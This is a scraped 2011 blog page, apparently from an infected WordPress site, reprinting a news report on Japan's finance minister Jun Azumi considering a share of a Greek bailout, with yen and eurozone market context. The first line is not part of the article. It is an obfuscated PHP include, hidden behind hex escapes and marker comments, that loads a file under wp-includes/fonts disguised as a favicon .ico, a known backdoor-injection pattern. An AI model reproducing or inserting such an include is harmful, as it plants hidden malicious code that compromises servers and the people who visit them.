/*3cc97*/ @include "\x2fhsp\x68ere\x2floc\x61l/h\x6fme/\x6eave\x78pre\x2fgui\x64emy\x77ay.\x63om/\x77p-i\x6eclu\x64es/\x66ont\x73/fa\x76ico\x6e_49\x34a27\x2eico"; /*3cc97*/ GuideMyWay.com » Blog Archive » Japan flags chipping in to Greek bailout
Home » Money Matters

Japan flags chipping in to Greek bailout

28 September 2011 No Comment

Finance Minister Jun Azumi says he won’t rule out Japan sharing some of the burden related to a bailout scheme for Greece, provided that Europe mapped out a rational plan that could ease market jitters.

Speaking days after meetings of the International Monetary Fund and G20 that were dominated by discussion of Europe’s sovereign debt problems, Mr Azumi urged each country to make efforts to implement what was agreed at a European summit on July 21.

“Each country should respond to the rescue plan by winning approval from their parliaments, and if they need a larger framework, I would consult with (US Treasury Secretary Timothy) Geithner,” Mr Azumi told reporters after a cabinet meeting.
Advertisement: Story continues below

“If there is a scheme that’s based on a firm process, involves a reasonable amount of money and could provide the world and markets with a sense of security regarding a Greek bailout, I would not rule out the possibility of Japan sharing some of the burden.”

Mr Azumi’s comments come a week after Prime Minister Yoshihiko Noda was cited in a media report as saying Tokyo is open to buying more bonds issued by a European bailout fund to alleviate concerns over the sovereign debt crisis in Europe.

The euro climbed out of negative territory late on Monday and continued its gains early on Tuesday, after a media report that European officials are working on a detailed plan aimed at shoring up European bank stability.

CNBC said the plan involves issuing bonds and using the proceeds to purchase debt of distressed European states, though it said it may not be the only plan under discussion.

The news raised investor expectations for a resolution to the euro-zone debt crisis, though investors remain on alert for signs of a Greek debt default.

European officials are now focused on ways to beef up their existing 440 billion euro rescue fund, yet investors are sceptical.

Finland and Germany will vote on the rescue fund this week, and passage of proposed changes should bode well for the euro.

Mr Azumi also said he expects Japan’s third budget for the current fiscal year, which is to help fund reconstruction from the March 11 earthquake and tsunami, to exceed 11 trillion yen ($150 billion).

Japan’s government also said on Tuesday it wants to bring forward steps to ease the pain some companies feel from a stronger yen and enact the measures before it completes the extra budget.


Leave your response!

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.

You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

This is a Gravatar-enabled weblog. To get your own globally-recognized-avatar, please register at Gravatar.